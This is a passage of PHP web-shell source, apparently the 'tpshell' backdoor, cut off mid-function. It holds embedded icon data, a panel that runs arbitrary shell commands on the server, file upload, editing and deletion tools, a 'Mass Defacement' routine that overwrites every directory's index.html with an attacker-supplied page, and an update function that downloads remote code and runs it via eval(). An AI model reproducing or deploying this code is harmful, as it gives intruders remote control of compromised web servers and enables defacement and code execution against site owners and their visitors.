+"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp". +"aGeyYpqJlRG/rlwAADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//Untuk optimalisasi ukuran dan kecepatan. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; +} +exit; +} + +echo "</td></tr></table>\n"; +/*** COMMANDS PANEL ***/ +?> + +<table class=mainpanel> +<tr><td align=right>Command:</td> +<td><form method="POST"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>"> + <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td align=right>Quick Commands:</td> +<td><form method="POST"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type=hidden name="cmd_txt" value="1"> + <select name="cmd"> + <?php + foreach ($cmdaliases as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + foreach ($cmdaliases2 as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + ?> + </select> <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td align=right>Upload:</td> +<td><form method="POST" enctype="multipart/form-data"> + <input type=hidden name=act value="upload"> + <input type=hidden name="miniform" value="1"> + <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?> + </form> +</td></tr> +<tr><td align=right>PHP Filesystem:</td> +<td> +<?php ##[ Acid ]## ?> +<script language="javascript"> +function set_arg(txt1,txt2) { + document.forms.fphpfsys.phpfsysfunc.value.selected = "Download"; + document.forms.fphpfsys.arg1.value = txt1; + document.forms.fphpfsys.arg2.value = txt2; +} +function chg_arg(num,txt1,txt2) { + if (num==0) { + document.forms.fphpfsys.arg1.type = "hidden"; + document.forms.fphpfsys.A1.type = "hidden"; + } + if (num<=1) { + document.forms.fphpfsys.arg2.type = "hidden"; + document.forms.fphpfsys.A2.type = "hidden"; + } + if (num==2) { + document.forms.fphpfsys.A1.type = "label"; + document.forms.fphpfsys.A2.type = "label"; + document.forms.fphpfsys.arg1.type = "text"; + document.forms.fphpfsys.arg2.type = "text"; + } + document.forms.fphpfsys.A1.value = txt1 + ":"; + document.forms.fphpfsys.A2.value = txt2 + ":"; +} +</script> +<?php + echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n". + "<select name=\"phpfsysfunc\">\r\n"; + foreach ($phpfsaliases as $als) { + if ($als[1]==$phpfsysfunc) { + echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n"; + } + else { + echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n"; + } + } + echo "</select>\r\n". + "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n". + "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n". + "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n"; + foreach ($sh_sourcez as $e => $o) { + echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n"; + } + echo "</form>\r\n"; +?> +</td></tr> +<tr><td align=right>Search File:</td> +<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search"> + </form> + </td></tr> +<tr><td align=right>Create File:</td> +<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> + <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?> + </form></td></tr> +<tr><td align=right>View File:</td> +<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View"> + </form></td></tr> +<? +$self=basename($_SERVER['PHP_SELF']); +if(isset($_POST['execmassdeface'])) +{ +echo "<center><textarea rows='10' cols='100'>"; +$hackfile = $_POST['massdefaceurl']; +$dir = $_POST['massdefacedir']; +echo $dir."\n"; + +if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if(filetype($dir.$file)=="dir"){ + $newfile=$dir.$file."/index.html"; + echo $newfile."\n"; + if (!copy($hackfile, $newfile)) { + echo "failed to copy $file...\n"; + } + } + } + closedir($dh); + } +} +echo "</textarea></center>";} ?> + + +<tr><td align=right>Mass Defacement:</td> +<td><form action='<? basename($_SERVER['PHP_SELF']); ?>' method='post'>[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo $dispd; ?>' name='massdefacedir'> [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'><input type='submit' name='execmassdeface' value='Execute'></form></td> + + +</table> +<?php footer(); ?> +</body></html> +<?php + + +function safemode() { + if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; } + else { return FALSE; } +} +function getdisfunc() { + $disfunc = @ini_get("disable_functions"); + if (!empty($disfunc)) { + $disfunc = str_replace(" ","",$disfunc); + $disfunc = explode(",",$disfunc); + } + else { $disfunc= array(); } + return $disfunc; +} +function enabled($func) { + if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; } + else { return FALSE; } +} +function tpexec($cmd) { + $output = ""; + if ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + return $output; +} +function tpexec2($cmd) { + $output = ""; + if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + return $output; +} +function which($pr) { + $path = tpexec("which $pr"); + if(!empty($path)) { return $path; } else { return $pr; } +} + +function get_status() { + function showstat($sup,$stat) { + if ($stat=="on") { return "$sup: <font color=orange><b>ON</b></font>"; } + else { return "$sup: <font color=orange><b>OFF</b></font>"; } + } + $arrfunc = array( + array("MySQL","mysql_connect"), + array("MSSQL","mssql_connect"), + array("Oracle","ocilogon"), + array("PostgreSQL","pg_connect"), + array("Curl","curl_version"), + ); + $arrcmd = array( + array("Fetch","fetch --help"), + array("Wget","wget --help"), + array("Perl","perl -v"), + ); + + $statinfo = array(); + foreach ($arrfunc as $func) { + if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); } + else { $statinfo[] = showstat($func[0],"off"); } + } + $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off"); + foreach ($arrcmd as $cmd) { + if (tpexec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); } + else { $statinfo[] = showstat($cmd[0],"off"); } + } + return implode(" ",$statinfo); +} +function showdisfunc() { + if ($disablefunc = @ini_get("disable_functions")) { + return "<font color=orange><b>".$disablefunc."</b></font>"; + } + else { return "<font color=orange><b>NONE</b></b></font>"; } +} +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) { $bool = is_dir($letter.":\\"); } + if ($bool) { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"". + ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> "; + if ($letter.":" != $v) { $letters .= $letter; } + else { $letters .= "<font color=orange>".$letter."</font>"; } + $letters .= "</a> "; + } + } + if (!empty($letters)) { Return $letters; } + else {Return "None"; } +} +function disp_freespace($curdrv) { + $free = @disk_free_space($curdrv); + $total = @disk_total_space($curdrv); + if ($free === FALSE) { $free = 0; } + if ($total === FALSE) { $total = 0; } + if ($free < 0) { $free = 0; } + if ($total < 0) { $total = 0; } + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; +} + +function tpgetsource($fn) { + global $tpsh_sourcesurl; + $array = array( + "tpsh.php" => "tpsh.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($tpsh_sourcesurl.$name);} + else {return FALSE;} +} +function tpsh_getupdate($update = TRUE) { + $url = $GLOBALS["tpsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0"); + $data = @file_get_contents($url); + if (!$data) { return "Can't connect to update-server!"; } + else { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") { + $string = explode("|",$string); + if ($update) { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download tpshell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else { + fwrite($fp,$source); + fclose($fp); + return "Update completed!"; + } + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") { + eval($string); + return 1; + } + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +function tp_buff_prepare() { + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +function tp_sess_put($data) { + global $sess_cookie; + global $sess_data; + tp_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} + + +function fs_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } +} +function fs_move_dir($d,$t) { + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +function fs_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +function fs_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} + +function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function tpshexit() { onphpshutdown(); exit; } + +function tpfsearch($d) { + global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {tpfsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);} +function view_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); +} +function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode 